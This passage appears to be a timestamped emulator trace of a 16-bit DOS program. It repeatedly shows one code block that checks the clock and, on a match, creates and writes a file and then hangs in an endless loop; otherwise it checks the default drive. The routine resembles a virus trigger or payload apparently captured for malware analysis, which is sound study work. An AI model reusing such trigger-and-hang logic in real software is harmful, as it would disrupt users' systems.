0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.228738403Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.230575495Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.232858454Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.235070778Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.237144396Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.238641256Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.242883214Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.244644078Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.246646853Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.24878377Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.251277506Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.252800702Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.255383606Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.257023261Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.25908935Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.261273679Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.263562728Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.265326371Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.267939048Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.270029449Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.272325191Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.27485356Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.277096293Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.278609395Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.281263143Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.282734163Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.284802259Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.286583687Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.291293187Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.29276249Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.295759854Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.297261719Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.299273773Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.300940747Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.303657656Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.305134691Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.307162682Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.30948234Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.311480472Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.312954577Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.316020488Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.317534897Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.320249676Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.32293495Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.3251003Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.326740011Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.330226262Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.332352733Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.334347277Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.336956114Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.339368957Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.341199981Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.344223402Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.346136244Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.348692343Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.351393057Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.354233985Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.356263435Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.359964625Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.361780053Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.364083692Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.366103232Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.369227391Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.371017609Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.373167989Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.374943485Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.377225145Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.378973186Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.381641236Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.383401081Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
